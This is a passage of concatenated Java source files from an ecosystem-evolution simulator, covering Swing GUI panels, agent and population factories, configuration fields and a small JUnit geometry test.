Launcher.class.getClassLoader().getResourceAsStream(\"logging.properties\")\n );\n } catch (IOException e) {\n e.printStackTrace();\n }\n\n SwingUtilities.invokeLater(new Runnable() {\n @Override\n public void run() {\n WorldFrame.getInstance().setVisible(true);\n WorldFrame.getInstance().validate();\n }\n });\n }\n}/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/commands/EnvironmentCommands.java\npackage org.blackpanther.ecosystem.gui.commands;\n\nimport org.blackpanther.ecosystem.gui.GraphicEnvironment;\n\nimport javax.swing.*;\nimport javax.swing.border.EtchedBorder;\nimport javax.swing.event.ChangeEvent;\nimport javax.swing.event.ChangeListener;\nimport java.awt.*;\nimport java.awt.event.ActionListener;\nimport java.beans.EventHandler;\n\nimport static org.blackpanther.ecosystem.gui.GUIMonitor.Monitor;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011\n */\npublic class EnvironmentCommands\n extends JPanel {\n\n public static final String STOP_ENVIRONMENT = \"Pause\";\n public static final String START_ENVIRONMENT = \"Start\";\n public static final String NO_ENVIRONMENT = \"No environment set\";\n public static final String FROZEN_ENVIRONMENT = \"Environment frozen\";\n\n private JButton evolutionFlowButton;\n\n private JToggleButton noAction;\n private JToggleButton paintAgent;\n private JToggleButton paintResource;\n\n public EnvironmentCommands() {\n super();\n setLayout(new FlowLayout());\n\n\n JButton resetEnvironment = new JButton(\"Generate new environment\");\n evolutionFlowButton = new JButton(NO_ENVIRONMENT);\n\n noAction = new JToggleButton(\"No action\");\n paintAgent = new JToggleButton(\"Agent dropper\");\n paintResource = new JToggleButton(\"Resource dropper\");\n\n JSlider lineWidthLinear = new JSlider(1, 10, 1);\n JSlider lineWidthExponential = new JSlider(0, 10, 0);\n JSlider colorBlender = new JSlider(0, 1000000, 10000);\n\n ActionListener toggleListener = EventHandler.create(\n ActionListener.class,\n this,\n \"updateDropMode\",\n \"source\"\n );\n\n lineWidthLinear.addChangeListener(EventHandler.create(\n ChangeListener.class,\n this,\n \"updateLineWidthLinear\",\n \"\"\n ));\n\n lineWidthExponential.addChangeListener(EventHandler.create(\n ChangeListener.class,\n this,\n \"updateLineWidthExponential\",\n \"\"\n ));\n colorBlender.addChangeListener(EventHandler.create(\n ChangeListener.class,\n this,\n \"updateColorRatio\",\n \"\"\n ));\n\n noAction.setSelected(true);\n noAction.addActionListener(toggleListener);\n paintAgent.addActionListener(toggleListener);\n paintResource.addActionListener(toggleListener);\n resetEnvironment.addActionListener(EventHandler.create(\n ActionListener.class,\n Monitor,\n \"resetEnvironment\"\n ));\n evolutionFlowButton.setEnabled(false);\n evolutionFlowButton.addActionListener(EventHandler.create(\n ActionListener.class,\n this,\n \"switchStartPause\"\n ));\n evolutionFlowButton.addActionListener(EventHandler.create(\n ActionListener.class,\n Monitor,\n \"interceptEnvironmentEvolutionFlow\",\n \"source.text\"\n ));\n\n add(noAction);\n add(paintAgent);\n add(paintResource);\n add(Box.createVerticalStrut(40));\n add(resetEnvironment);\n add(evolutionFlowButton);\n add(Box.createVerticalStrut(40));\n add(lineWidthLinear);\n add(lineWidthExponential);\n add(colorBlender);\n\n setBorder(\n BorderFactory.createEtchedBorder(EtchedBorder.RAISED)\n );\n }\n\n public void updateLineWidthLinear(ChangeEvent e) {\n JSlider source = (JSlider) e.getSource();\n if (!source.getValueIsAdjusting()) {\n Monitor.updateLineWidthLinear(source.getValue());\n }\n }\n\n public void updateLineWidthExponential(ChangeEvent e) {\n JSlider source = (JSlider) e.getSource();\n if (!source.getValueIsAdjusting()) {\n Monitor.updateLineWidthExponential(source.getValue() / 10.0);\n }\n }\n\n public void updateColorRatio(ChangeEvent e) {\n JSlider source = (JSlider) e.getSource();\n if (!source.getValueIsAdjusting()) {\n Monitor.changeColorRatio(source.getValue() / 100.0);\n }\n }\n\n public void updateDropMode(JToggleButton button) {\n noAction.setSelected(false);\n paintAgent.setSelected(false);\n paintResource.setSelected(false);\n button.setSelected(true);\n\n GraphicEnvironment.DropMode mode = GraphicEnvironment.DropMode.NONE;\n if (noAction.isSelected()) {\n mode = GraphicEnvironment.DropMode.NONE;\n } else if (paintAgent.isSelected()) {\n mode = GraphicEnvironment.DropMode.AGENT;\n } else if (paintResource.isSelected()) {\n mode = GraphicEnvironment.DropMode.RESOURCE;\n }\n Monitor.setDropMode(mode);\n }\n\n public void switchStartPause() {\n if (evolutionFlowButton.getText()\n .equals(STOP_ENVIRONMENT)) {\n evolutionFlowButton.setText(START_ENVIRONMENT);\n } else if (evolutionFlowButton.getText()\n .equals(START_ENVIRONMENT)) {\n evolutionFlowButton.setText(STOP_ENVIRONMENT);\n } else {\n evolutionFlowButton.setText(NO_ENVIRONMENT);\n }\n }\n\n public void environmentSet() {\n evolutionFlowButton.setText(START_ENVIRONMENT);\n evolutionFlowButton.setEnabled(true);\n }\n\n public void environmentUnset() {\n evolutionFlowButton.setText(NO_ENVIRONMENT);\n evolutionFlowButton.setEnabled(false);\n }\n\n public void environmentFrozen() {\n evolutionFlowButton.setText(FROZEN_ENVIRONMENT);\n evolutionFlowButton.setEnabled(false);\n }\n\n public void notifyPause() {\n if (evolutionFlowButton.getText().equals(STOP_ENVIRONMENT)) {\n evolutionFlowButton.setText(START_ENVIRONMENT);\n }\n }\n}\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/factory/generator/provided/IntegerProvider.java\npackage org.blackpanther.ecosystem.factory.generator.provided;\n\nimport org.blackpanther.ecosystem.factory.generator.StandardProvider;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011\n */\npublic class IntegerProvider\n extends StandardProvider {\n\n public IntegerProvider(Integer provided) {\n super(provided);\n }\n}\n/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/WorldFrame.java\npackage org.blackpanther.ecosystem.gui;\n\nimport com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel;\nimport org.blackpanther.ecosystem.gui.actions.*;\nimport org.blackpanther.ecosystem.gui.commands.EnvironmentCommands;\nimport org.blackpanther.ecosystem.gui.settings.EnvironmentBoard;\n\nimport javax.imageio.ImageIO;\nimport javax.swing.*;\nimport java.awt.*;\nimport java.io.IOException;\nimport java.net.URL;\n\nimport static org.blackpanther.ecosystem.Configuration.*;\nimport static org.blackpanther.ecosystem.gui.GUIMonitor.Monitor;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011\n */\npublic class WorldFrame\n extends JFrame {\n\n public static final String ICON_PATH = \"org/blackpanther/black-cat-icon.png\";\n public static final Image APPLICATION_ICON = fetchApplicationIcon();\n private JCheckBox[] options;\n\n //Set UI Manager\n static {\n try {\n UIManager.setLookAndFeel(\n new NimbusLookAndFeel()\n );\n } catch (UnsupportedLookAndFeelException e) {\n e.printStackTrace();\n }\n }\n\n private static Image fetchApplicationIcon() {\n try {\n URL resourceURL = WorldFrame.class.getClassLoader()\n .getResource(ICON_PATH);\n return ImageIO.read(resourceURL);\n } catch (IOException e) {\n e.printStackTrace();\n return null;\n }\n }\n\n private WorldFrame() {\n super();\n setTitle(\"GUI Ecosystem Evolution Visualizer\");\n if (APPLICATION_ICON != null)\n setIconImage(APPLICATION_ICON);\n\n GraphicEnvironment graphicEnvironment =\n new GraphicEnvironment();\n Monitor.registerDrawPanel(\n graphicEnvironment\n );\n\n EnvironmentBoard environmentBoard =\n new EnvironmentBoard();\n Monitor.registerEnvironmentInformationPanel(\n environmentBoard\n );\n\n EnvironmentCommands environmentCommands =\n new EnvironmentCommands();\n Monitor.registerEnvironmentCommandsPanel(\n environmentCommands\n );\n\n getContentPane().setLayout(new BorderLayout());\n getContentPane().add(\n wrapComponent(environmentBoard, BorderLayout.WEST),\n BorderLayout.WEST\n );\n getContentPane().add(\n graphicEnvironment,\n BorderLayout.CENTER\n );\n getContentPane().add(\n wrapComponent(environmentCommands, BorderLayout.CENTER),\n BorderLayout.SOUTH\n );\n\n setDefaultCloseOperation(EXIT_ON_CLOSE);\n pack();\n setExtendedState(MAXIMIZED_BOTH);\n\n setJMenuBar(buildMenuBar());\n\n Monitor.resetEnvironment();\n }\n\n private static class WorldFrameHolder {\n private static final WorldFrame instance =\n new WorldFrame();\n }\n\n public static WorldFrame getInstance() {\n return WorldFrameHolder.instance;\n }\n\n private JMenuBar buildMenuBar() {\n JMenuBar menuBar = new JMenuBar();\n\n JMenu environment = new JMenu(\"Environment\");\n JMenu painting = new JMenu(\"Paint options\");\n\n environment.add(ConfigurationSave.getInstance());\n environment.add(ConfigurationLoad.getInstance());\n environment.addSeparator();\n environment.add(EnvironmentSave.getInstance());\n environment.add(EnvironmentSaveBackup.getInstance());\n environment.addSeparator();\n environment.add(EnvironmentLoad.getInstance());\n environment.add(EnvironmentFromFile.getInstance());\n environment.addSeparator();\n environment.add(SaveImageAction.getInstance());\n\n JCheckBox[] togglers = new JCheckBox[5];\n for (int i = 0; i < togglers.length; i++) {\n togglers[i] = new JCheckBox();\n togglers[i].setSelected(true);\n }\n\n togglers[0].setAction(ToggleBounds.getInstance());\n togglers[1].setAction(ToggleCreatures.getInstance());\n togglers[2].setAction(ToggleResources.getInstance());\n togglers[3].setAction(ToggleLineObstruction.getInstance());\n togglers[4].setAction(TogglePerlinNoise.getInstance());\n\n //change whether option is activated or not\n togglers[3].setSelected(\n Configuration.getParameter(LINE_OBSTRUCTION_OPTION, Boolean.class));\n togglers[4].setSelected(\n Configuration.getParameter(PERLIN_NOISE_OPTION, Boolean.class));\n\n //keep a reference to them\n options = new JCheckBox[]{\n togglers[3],\n togglers[4]\n };\n\n painting.add(togglers[0]);//bounds\n painting.add(togglers[1]);//creatures\n painting.add(togglers[2]);//resources\n painting.addSeparator();\n painting.add(togglers[3]);//line obstruction\n painting.add(togglers[4]);//perlin noise\n painting.addSeparator();\n painting.add(ChangeBackgroundColor.getInstance());\n\n menuBar.add(environment);\n menuBar.add(painting);\n\n return menuBar;\n }\n\n public void updateCheckBoxMenuItem(String checkboxName, boolean activated) {\n if (checkboxName.equals(LINE_OBSTRUCTION_OPTION))\n options[0].setSelected(activated);\n else if (checkboxName.equals(PERLIN_NOISE_OPTION))\n options[1].setSelected(activated);\n }\n\n /**\n * Convenience method.
\n * Don't hate me because of the trick...\n */\n private static JPanel wrapComponent(final Component c, final String flag) {\n return new JPanel(new BorderLayout()) {{\n add(c, flag);\n }};\n }\n}\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/factory/generator/provided/LocationProvider.java\npackage org.blackpanther.ecosystem.factory.generator.provided;\n\nimport org.blackpanther.ecosystem.factory.generator.StandardProvider;\n\nimport java.awt.geom.Point2D;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011\n */\npublic class LocationProvider\n extends StandardProvider{\n\n public LocationProvider(Point2D provided) {\n super(provided);\n }\n}\n/ecosystem-framework/src/test/java/org/blackpanther/ecosystem/math/GeometryTester.java\npackage org.blackpanther.ecosystem.math;\n\nimport org.junit.Test;\n\nimport java.awt.geom.Line2D;\nimport java.awt.geom.Point2D;\n\nimport static org.blackpanther.ecosystem.math.Geometry.getIntersection;\nimport static org.junit.Assert.*;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011\n */\npublic class GeometryTester {\n\n @Test\n public void intersectionPoint() {\n Point2D firstIntersection = new Point2D.Double(1.0, 1.0);\n Point2D secondIntersection = new Point2D.Double(1.0, 0.0);\n\n assertEquals(\n \"Fail at basic intersection between \" +\n \"[(0.0,2.0),(2.0,0.0) & (0.0,0.0),(2.0,2.0)]\",\n firstIntersection,\n getIntersection(\n new Line2D.Double(0.0, 2.0, 2.0, 0.0),\n new Line2D.Double(0.0, 0.0, 2.0, 2.0)\n )\n );\n\n assertEquals(\n \"Fail at basic intersection between \" +\n \"[(0.0,1.0),(3.0,-2.0) & (0.0,0.0),(2.0,0.0)]\",\n secondIntersection,\n getIntersection(\n new Line2D.Double(0.0, 1.0, 3.0, -2.0),\n new Line2D.Double(0.0, 0.0, 2.0, 0.0)\n )\n );\n\n assertNull(\n \"Not intersection because liens are not infinite\",\n getIntersection(\n new Line2D.Double(0.0, -2.0, 2.0, -2.0),\n new Line2D.Double(0.0, 1.0, 3.0, -2.0)\n )\n );\n\n assertNull(\n \"Not intersection because liens are not infinite\",\n getIntersection(\n new Line2D.Double(0.0, 1.0, 3.0, -2.0),\n new Line2D.Double(0.0, 0.0, 0.0, -2.0)\n )\n );\n\n assertNotNull(\n \"???\",\n getIntersection(\n new Line2D.Double(198.0, 383.73, 199.82, 377.18),\n new Line2D.Double(200.55, 383.55, 197.63, 377.72)\n )\n );\n\n }\n}\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/event/EvolutionEvent.java\npackage org.blackpanther.ecosystem.event;\n\nimport org.blackpanther.ecosystem.Environment;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\npublic class EvolutionEvent\n extends EnvironmentEvent {\n\n /**\n * Precise type of the event that happened\n */\n public enum Type {\n STARTED,\n CYCLE_END,\n ENDED\n }\n\n private Type type;\n\n /**\n * Constructs a prototypical Event.\n *\n * @param source The object on which the Event initially occurred.\n * @throws IllegalArgumentException if source is null.\n */\n public EvolutionEvent(Type eventType, Environment source) {\n super(source);\n this.type = eventType;\n }\n\n public Type getType() {\n return type;\n }\n}\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/factory/EnvironmentAbstractFactory.java\npackage org.blackpanther.ecosystem.factory;\n\nimport org.blackpanther.ecosystem.agent.Agent;\nimport org.blackpanther.ecosystem.agent.Creature;\nimport org.blackpanther.ecosystem.agent.Resource;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\npublic class EnvironmentAbstractFactory {\n\n private EnvironmentAbstractFactory() {\n }\n\n private static final Map factoryRegister = new HashMap(2) {{\n put(Creature.class, new CreatureFactory());\n put(Resource.class, new ResourceFactory());\n }};\n\n @SuppressWarnings(\"unchecked\")\n public static EnvironmentFactory getFactory(Class agentType) {\n return factoryRegister.get(agentType);\n }\n\n}\n/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/settings/AgentParameterPanel.java\npackage org.blackpanther.ecosystem.gui.settings;\n\nimport org.blackpanther.ecosystem.factory.fields.FieldMould;\nimport org.blackpanther.ecosystem.factory.fields.FieldsConfiguration;\nimport org.blackpanther.ecosystem.factory.fields.GeneFieldMould;\nimport org.blackpanther.ecosystem.gui.settings.fields.SettingField;\nimport org.blackpanther.ecosystem.gui.settings.fields.mutable.Mutable;\nimport org.blackpanther.ecosystem.gui.settings.fields.randomable.RandomSettingField;\n\nimport javax.swing.*;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Map;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:59 CEST 2011\n */\npublic abstract class AgentParameterPanel\n extends ParameterPanel {\n\n protected AgentParameterPanel(String name) {\n super(name);\n }\n\n @Override\n protected void generateContent(Box layout) {\n Box state = Box.createVerticalBox();\n Box genotype = Box.createVerticalBox();\n\n state.setBorder(BorderFactory.createTitledBorder(\"State\"));\n genotype.setBorder(BorderFactory.createTitledBorder(\"Genotype\"));\n\n fillUpState(state);\n fillUpGenotype(genotype);\n\n if (state.getComponentCount() > 0)\n layout.add(state);\n if (genotype.getComponentCount() > 0)\n layout.add(genotype);\n }\n\n abstract void fillUpState(Box layout);\n\n abstract void fillUpGenotype(Box layout);\n\n @SuppressWarnings(\"unchecked\")\n public void updateInformation(FieldsConfiguration information) {\n for (Map.Entry entry : parameters.entrySet()) {\n SettingField field = entry.getValue();\n FieldMould incomingMould = information.getField(entry.getKey());\n if( incomingMould instanceof GeneFieldMould) {\n GeneFieldMould geneMould = (GeneFieldMould) incomingMould;\n Mutable geneField = (Mutable) field;\n geneField.setMutable(\n geneMould.isMutable());\n }\n RandomSettingField randomField = (RandomSettingField) field;\n randomField.setRandomized(\n incomingMould.isRandomized());\n field.setValue(\n information.getValue(entry.getKey()));\n }\n }\n\n public Collection getMoulds() {\n Collection moulds = new ArrayList(parameters.size());\n for (SettingField field : parameters.values())\n moulds.add(field.toMould());\n return moulds;\n }\n}\n/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/actions/EnvironmentFromFile.java\npackage org.blackpanther.ecosystem.gui.actions;\n\nimport org.blackpanther.ecosystem.ApplicationConstants;\nimport org.blackpanther.ecosystem.Configuration;\nimport org.blackpanther.ecosystem.Environment;\nimport org.blackpanther.ecosystem.agent.Resource;\nimport org.blackpanther.ecosystem.agent.ResourceConstants;\nimport org.blackpanther.ecosystem.factory.fields.FieldsConfiguration;\nimport org.blackpanther.ecosystem.factory.fields.StateFieldMould;\nimport org.blackpanther.ecosystem.gui.GUIMonitor;\nimport org.blackpanther.ecosystem.gui.WorldFrame;\n\nimport javax.imageio.ImageIO;\nimport javax.swing.*;\nimport java.awt.*;\nimport java.awt.event.ActionEvent;\nimport java.awt.event.ActionListener;\nimport java.awt.geom.Point2D;\nimport java.awt.image.BufferedImage;\nimport java.beans.EventHandler;\nimport java.io.File;\nimport java.io.IOException;\n\nimport static javax.swing.BoxLayout.X_AXIS;\nimport static javax.swing.BoxLayout.Y_AXIS;\nimport static org.blackpanther.ecosystem.agent.AgentConstants.AGENT_LOCATION;\nimport static org.blackpanther.ecosystem.factory.generator.StandardProvider.StandardProvider;\nimport static org.blackpanther.ecosystem.gui.formatter.RangeModels.generateIntegerModel;\nimport static org.blackpanther.ecosystem.gui.formatter.RangeModels.generatePositiveDoubleModel;\nimport static org.blackpanther.ecosystem.gui.formatter.RangeModels.generatePositiveIntegerModel;\nimport static org.blackpanther.ecosystem.helper.Helper.require;\n\n/**\n * @author \n * @version 6/11/11\n */\npublic class EnvironmentFromFile\n extends FileBrowserAction {\n\n private EnvironmentWizard creationWizard = new EnvironmentWizard();\n\n private EnvironmentFromFile() {\n super(\"Create an environment from an image file\",\n \"Image files\",\n \"png\",\n \"jpg\",\n \"jpeg\",\n \"gif\"\n );\n }\n\n private static class EnvironmentFromFileHolder {\n private static final EnvironmentFromFile instance =\n new EnvironmentFromFile();\n }\n\n public static EnvironmentFromFile getInstance() {\n return EnvironmentFromFileHolder.instance;\n }\n\n @Override\n public void actionPerformed(ActionEvent e) {\n creationWizard.setVisible(true);\n }\n\n public class EnvironmentWizard extends JDialog {\n\n private static final String NO_FILE_SELECTED = \"No file selected.\";\n\n private JLabel path = new JLabel(NO_FILE_SELECTED);\n private JSpinner defaultEnergy = new JSpinner(generatePositiveDoubleModel());\n private JSpinner dropperStep = new JSpinner(generateIntegerModel(1, Integer.MAX_VALUE));\n private boolean excludeWhite = false;\n\n JButton accept = new JButton(\"Accept\");\n private File selectedFile = null;\n\n private EnvironmentWizard() {\n super(WorldFrame.getInstance());\n defaultEnergy.setValue(100.0);\n defaultEnergy.setPreferredSize(new Dimension(100, 30));\n dropperStep.setValue(1);\n dropperStep.setPreferredSize(new Dimension(100, 30));\n\n accept.setEnabled(false);\n\n path.setEnabled(false);\n path.setFont(new Font(\"Default\", Font.ITALIC, 10));\n\n JButton chooseFile = new JButton(\"Select your image\");\n JButton cancel = new JButton(\"Cancel\");\n\n JLabel energyAmountLabel = new JLabel(\"Initial amount for resources : \");\n energyAmountLabel.setLabelFor(defaultEnergy);\n\n JLabel dropperStepLabel = new JLabel(\"Drop step (in pixels) : \");\n dropperStepLabel.setLabelFor(dropperStep);\n\n JCheckBox excludeWhite = new JCheckBox(\"Exclude white color ? \", false);\n excludeWhite.addActionListener(EventHandler.create(\n ActionListener.class,\n this,\n \"updateExcludeWhiteProperty\",\n \"source.selected\"\n ));\n\n chooseFile.addActionListener(EventHandler.create(\n ActionListener.class,\n this,\n \"updateFilePath\"\n ));\n\n accept.addActionListener(EventHandler.create(\n ActionListener.class,\n this,\n \"generateEnvironment\"\n ));\n\n cancel.addActionListener(EventHandler.create(\n ActionListener.class,\n this,\n \"cancelOperation\"\n ));\n\n Box labeledEnergyField = new Box(X_AXIS);\n labeledEnergyField.add(energyAmountLabel);\n labeledEnergyField.add(defaultEnergy);\n\n Box labeledDropperField = new Box(X_AXIS);\n labeledDropperField.add(dropperStepLabel);\n labeledDropperField.add(dropperStep);\n\n Box top = new Box(Y_AXIS);\n top.add(chooseFile);\n top.add(path);\n top.add(labeledEnergyField);\n top.add(labeledDropperField);\n top.add(excludeWhite);\n\n Box commands = new Box(X_AXIS);\n commands.add(accept);\n commands.add(cancel);\n\n JPanel content = new JPanel(new BorderLayout());\n content.setBorder(BorderFactory.createEmptyBorder(10,10,10,10));\n\n content.add(top, BorderLayout.CENTER);\n content.add(commands, BorderLayout.SOUTH);\n\n setContentPane(content);\n\n pack();\n }\n\n public void updateExcludeWhiteProperty(boolean shouldBeExcluded){\n excludeWhite = shouldBeExcluded;\n }\n\n public void updateFilePath() throws IOException {\n switch (fc.showOpenDialog(null)) {\n case JFileChooser.APPROVE_OPTION:\n selectedFile = fc.getSelectedFile();\n if (selectedFile != null) {\n path.setText(selectedFile.getCanonicalPath());\n accept.setEnabled(true);\n } else {\n path.setText(NO_FILE_SELECTED);\n accept.setEnabled(false);\n }\n }\n }\n\n @SuppressWarnings(\"unchecked\")\n public void generateEnvironment() {\n require(selectedFile != null);\n try {\n BufferedImage inputImage = ImageIO.read(selectedFile);\n Dimension imageDimension = new Dimension(inputImage.getWidth(), inputImage.getHeight());\n Configuration.Configuration.setParameter(\n ApplicationConstants.SPACE_WIDTH,\n imageDimension.getWidth(),\n Double.class\n );\n Configuration.Configuration.setParameter(\n ApplicationConstants.SPACE_HEIGHT,\n imageDimension.getHeight(),\n Double.class\n );\n Environment imageEnvironment = new Environment(imageDimension);\n Double resourceEnergyAmount = (Double) defaultEnergy.getValue();\n Integer dropStep = (Integer) dropperStep.getValue();\n\n FieldsConfiguration resourceConfiguration = new FieldsConfiguration(\n new StateFieldMould(\n ResourceConstants.RESOURCE_ENERGY,\n StandardProvider(resourceEnergyAmount))\n );\n\n for (int i = 0; i < imageDimension.getWidth(); i+= dropStep)\n for (int j = 0; j < imageDimension.getHeight(); j+= dropStep) {\n Color pixelColor = new Color(inputImage.getRGB(i, j));\n\n if( pixelColor.equals(Color.WHITE) && excludeWhite )\n continue;\n\n resourceConfiguration.updateMould(new StateFieldMould(\n AGENT_LOCATION,\n StandardProvider(\n imageToEnvironment(i, j, imageDimension))\n ));\n resourceConfiguration.updateMould(new StateFieldMould(\n ResourceConstants.RESOURCE_NATURAL_COLOR,\n StandardProvider(\n pixelColor\n )\n ));\n imageEnvironment.add(new Resource(resourceConfiguration));\n }\n\n GUIMonitor.Monitor.setCurrentEnvironment(imageEnvironment);\n setVisible(false);\n } catch (IOException e) {\n e.printStackTrace();\n }\n }\n\n public void cancelOperation() {\n setVisible(false);\n }\n\n private Point2D imageToEnvironment(int imageAbscissa, int imageOrdinate, Dimension imageDimension) {\n double environmentAbscissa = imageAbscissa - (imageDimension.getWidth() / 2.0);\n double environmentOrdinate = (imageDimension.getHeight() / 2.0) - imageOrdinate;\n\n return new Point2D.Double(\n environmentAbscissa,\n environmentOrdinate\n );\n }\n }\n}\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/factory/PopulationFactory.java\npackage org.blackpanther.ecosystem.factory;\r\n\r\nimport org.blackpanther.ecosystem.agent.Agent;\r\nimport org.blackpanther.ecosystem.agent.Creature;\r\nimport org.blackpanther.ecosystem.factory.fields.FieldsConfiguration;\r\nimport org.blackpanther.ecosystem.factory.fields.StateFieldMould;\r\n\r\nimport java.awt.geom.Dimension2D;\r\nimport java.awt.geom.Point2D;\r\nimport java.util.ArrayList;\r\nimport java.util.Collection;\r\n\r\nimport static org.blackpanther.ecosystem.Configuration.*;\r\nimport static org.blackpanther.ecosystem.agent.AgentConstants.AGENT_LOCATION;\r\nimport static org.blackpanther.ecosystem.agent.CreatureConstants.CREATURE_ORIENTATION;\r\nimport static org.blackpanther.ecosystem.factory.generator.StandardProvider.StandardProvider;\r\n\r\n/**\r\n * @author \r\n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\r\npublic class PopulationFactory {\r\n private static final java.util.logging.Logger logger =\r\n java.util.logging.Logger.getLogger(PopulationFactory.class.getCanonicalName());\r\n\r\n @SuppressWarnings(\"unchecked\")\r\n public static Collection generatePool(\r\n Class species,\r\n FieldsConfiguration agentConfiguration,\r\n Integer agentNumber) {\r\n Collection pool = new ArrayList(agentNumber);\r\n for (long number = agentNumber; number-- > 0; ) {\r\n //update location\r\n agentConfiguration.updateMould(new StateFieldMould(\r\n AGENT_LOCATION,\r\n StandardProvider(new Point2D.Double(\r\n Configuration.getParameter(SPACE_WIDTH, Double.class) * Configuration.getRandom().nextDouble()\r\n - Configuration.getParameter(SPACE_WIDTH, Double.class) / 2.0,\r\n Configuration.getParameter(SPACE_HEIGHT, Double.class) * Configuration.getRandom().nextDouble()\r\n - Configuration.getParameter(SPACE_HEIGHT, Double.class) / 2.0\r\n ))\r\n ));\r\n //add specific agent in the pool\r\n pool.add(EnvironmentAbstractFactory\r\n .getFactory(species)\r\n .createAgent(agentConfiguration));\r\n }\r\n return pool;\r\n }\r\n\r\n @SuppressWarnings(\"unchecked\")\r\n public static Collection generateGridPool(\r\n Class species,\r\n FieldsConfiguration agentConfiguration,\r\n Dimension2D gridDimension,\r\n double step) {\r\n Collection pool = new ArrayList(\r\n (int) ((gridDimension.getHeight() * gridDimension.getWidth()) / step));\r\n double widthBy2 = gridDimension.getWidth() / 2.0;\r\n double heightBy2 = gridDimension.getHeight() / 2.0;\r\n for (double abscissa = -widthBy2;\r\n abscissa < widthBy2;\r\n abscissa += step) {\r\n for (double ordinate = -heightBy2;\r\n ordinate < heightBy2;\r\n ordinate += step) {\r\n //update location\r\n agentConfiguration.updateMould(new StateFieldMould(\r\n AGENT_LOCATION,\r\n StandardProvider(new Point2D.Double(abscissa, ordinate))\r\n ));\r\n //add specific agent in the pool\r\n pool.add(species.cast(\r\n EnvironmentAbstractFactory\r\n .getFactory(species)\r\n .createAgent(agentConfiguration)));\r\n }\r\n }\r\n return pool;\r\n }\r\n\r\n @SuppressWarnings(\"unchecked\")\r\n public static Collection generateCirclePool(\r\n Class species,\r\n FieldsConfiguration agentConfiguration,\r\n Integer agentNumber,\r\n Double circleRadius) {\r\n Collection pool = new ArrayList(agentNumber);\r\n double incrementation = (2.0 * Math.PI) / agentNumber;\r\n double orientation = 0.0;\r\n for (long number = agentNumber; number-- > 0; orientation += incrementation) {\r\n //update location\r\n agentConfiguration.updateMould(new StateFieldMould(\r\n AGENT_LOCATION,\r\n StandardProvider(new Point2D.Double(\r\n circleRadius * Math.cos(orientation),\r\n circleRadius * Math.sin(orientation)))\r\n ));\r\n //add specific agent in the pool\r\n pool.add(EnvironmentAbstractFactory\r\n .getFactory(species)\r\n .createAgent(agentConfiguration));\r\n }\r\n return pool;\r\n }\r\n\r\n @SuppressWarnings(\"unchecked\")\r\n public static Collection generateCreatureCirclePool(\r\n FieldsConfiguration agentConfiguration,\r\n Integer agentNumber,\r\n Double circleRadius) {\r\n Collection pool = new ArrayList(agentNumber);\r\n double incrementation = (2.0 * Math.PI) / agentNumber;\r\n double orientation = 0.0;\r\n for (long number = agentNumber; number-- > 0; orientation += incrementation) {\r\n //update location\r\n agentConfiguration.updateMould(new StateFieldMould(\r\n AGENT_LOCATION,\r\n StandardProvider(new Point2D.Double(\r\n circleRadius * Math.cos(orientation),\r\n circleRadius * Math.sin(orientation)))\r\n ));\r\n //update orientation\r\n agentConfiguration.updateMould(new StateFieldMould(\r\n CREATURE_ORIENTATION,\r\n StandardProvider(orientation)\r\n ));\r\n //add specific agent in the pool\r\n pool.add(EnvironmentAbstractFactory\r\n .getFactory(Creature.class)\r\n .createAgent(agentConfiguration));\r\n }\r\n return pool;\r\n }\r\n\r\n}\r\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/factory/fields/FieldsConfiguration.java\npackage org.blackpanther.ecosystem.factory.fields;\n\nimport org.blackpanther.ecosystem.behaviour.BehaviorManager;\nimport org.blackpanther.ecosystem.math.Geometry;\n\nimport java.awt.*;\nimport java.io.Serializable;\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport static org.blackpanther.ecosystem.agent.CreatureConstants.*;\nimport static org.blackpanther.ecosystem.agent.ResourceConstants.*;\nimport static org.blackpanther.ecosystem.factory.generator.StandardProvider.StandardProvider;\nimport static org.blackpanther.ecosystem.helper.Helper.isGene;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\npublic class FieldsConfiguration\n implements Serializable, Cloneable {\n\n private static final long serialVersionUID = 1L;\n\n public static final String[] UNBOUNDED_FIELDS = new String[]{\n CREATURE_CURVATURE,\n };\n\n public static final String[] ANGLE_FIELDS = new String[]{\n CREATURE_ORIENTATION,\n CREATURE_ORIENTATION_LAUNCHER,\n };\n\n public static final String[] POSITIVE_FIELDS = new String[]{\n CREATURE_ENERGY,\n RESOURCE_ENERGY,\n CREATURE_SPEED,\n CREATURE_SPEED_LAUNCHER,\n CREATURE_FECUNDATION_COST,\n CREATURE_SENSOR_RADIUS,\n CREATURE_CONSUMMATION_RADIUS,\n };\n\n public static final String[] PROBABILITY_FIELDS = new String[]{\n CREATURE_MOVEMENT_COST,\n CREATURE_FECUNDATION_LOSS,\n CREATURE_GREED,\n CREATURE_FLEE,\n CREATURE_IRRATIONALITY,\n CREATURE_MORTALITY,\n CREATURE_FECUNDITY,\n CREATURE_MUTATION\n };\n\n public static final String[] COLOR_FIELDS = new String[]{\n CREATURE_NATURAL_COLOR,\n 